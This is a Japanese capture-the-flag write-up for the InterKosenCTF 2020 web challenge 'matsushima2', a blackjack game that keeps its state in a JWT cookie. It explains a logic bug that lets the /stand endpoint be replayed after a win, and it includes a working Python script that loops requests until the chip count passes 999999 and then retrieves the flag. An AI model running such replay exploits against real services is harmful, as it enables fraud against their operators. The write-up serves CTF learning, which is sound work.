# matsushima2 [InterKosenCTF 2020]
###### tags: `InterKosenCTF2020`
## 概要
何が2なのか分からなかったけどwebページを開いたら2だった。参加者層はSECCON Final参加していないだろうからmatsushima1が出ると思い込みそう。
それはさておきブラックジャックが遊べる。ラスベガスでブラックジャックに食費を吸収された身としては辛いね。とりあえず一回やってみたら21。現実そう上手くはいかない。そしてKがかわいい。
![](https://i.imgur.com/zlvLuXV.png)
`/flag`というエンドポイントがあり、chipが999999以上ならフラグが貰える。chipはstateという変数に含まれ、jwtで管理される。
```
{
"player": [
13,
22,
46,
36
],
"dealer": [
24
],
"chip": 0,
"player_score": -1,
"dealer_score": 10,
"cards": [
34,
32,
38,
20,
6,
2,
25,
30,
14,
39,
26,
10,
27,
45,
3,
43,
42,
50,
48,
16,
23,
18,
5,
19,
21,
37,
40,
33,
8,
0,
35,
29,
41,
51,
28,
47,
49,
17,
44,
7,
11,
31,
12,
1,
4,
9,
15
]
}
```
## 解法
$log_2(9999.99)=13.28...$なので14回連続で勝てばフラグが得られる。が、ベット数が毎回全賭けなので経験的には無理。しろくまちゃんになっちゃう。
```python
next_card = random.randrange(0, len(state['cards']))
```
でカードを取っているので中身を見て動きを決めることもできない。
```python
if len(state['dealer']) < 2:
```
で不正に次のゲームに進めないようになっているので良い手が最初に出るまで投げることもできない。
ということで、JWTのverifyを回避するか、keyをリークするか、logic bugを見つける必要がある。
jwtについてはどの箇所もalrogithrmをHS256で固定しており改竄できなさそう。
keyについてもdecode, encode以外で使われておらず、templateも使っていないのでSSTIも無い。
ということでlogic bugを探す。頑張ってじっくり読んでいると次の処理に気づく。
```python
if state['dealer_score'] < state['player_score']:
state['chip'] = state['chip'] * 2
else:
state['chip'] = 0
```
気づくというかchipを増やす処理はここしか無いのでここを読むのは当たり前といえばそう。重要なのはここに到達する条件が次の2つだけである点。
```python
@app.route("/stand", methods=["POST"])
def stand():
state = request.cookies.get('matsushima', None)
if state is None:
return abort(400)
state = jwt.decode(state, key, algorithms=['HS256'])
if state['chip'] <= 0:
return abort(400)
```
stateが定義されていてchipがあればstand可能になっている。
したがって、1度standして勝った後で何度でもstand可能なので、お金ががっぽり入る。
あとは実装するだけ。
```python
import jwt
import requests
URL = "http://localhost:14001"
r = requests.post(f"{URL}/initialize")
state = r.cookies['matsushima']
decoded = jwt.decode(state, algorithm='HS256', verify=False)
while True:
r = requests.post(f"{URL}/stand", cookies={'matsushima': state})
next_state = r.cookies['matsushima']
decoded = jwt.decode(next_state, algorithm='HS256', verify=False)
if decoded['chip'] == 0:
continue
elif decoded['chip'] > 999999:
state = next_state
break
else:
state = next_state
r = requests.get(f"{URL}/flag", cookies={'matsushima': next_state})
print(r.text)
```
ぬん!
```
{"flag":"KosenCTF{r3m3mb3r_m475u5him4}"}
```
これクロムウェルのカジノでも使えませんか? :sob:
## 意見・感想
- Kがかわいすぎる。
- Jもちゃんと特徴を掴んでいる。
- Q手抜きすぎでは?????
- 問題文のfromとhereの間にスペースが必要?(from消せばいい)
- requirementsのitsdangerousとかmarkupsafeとかって要るの?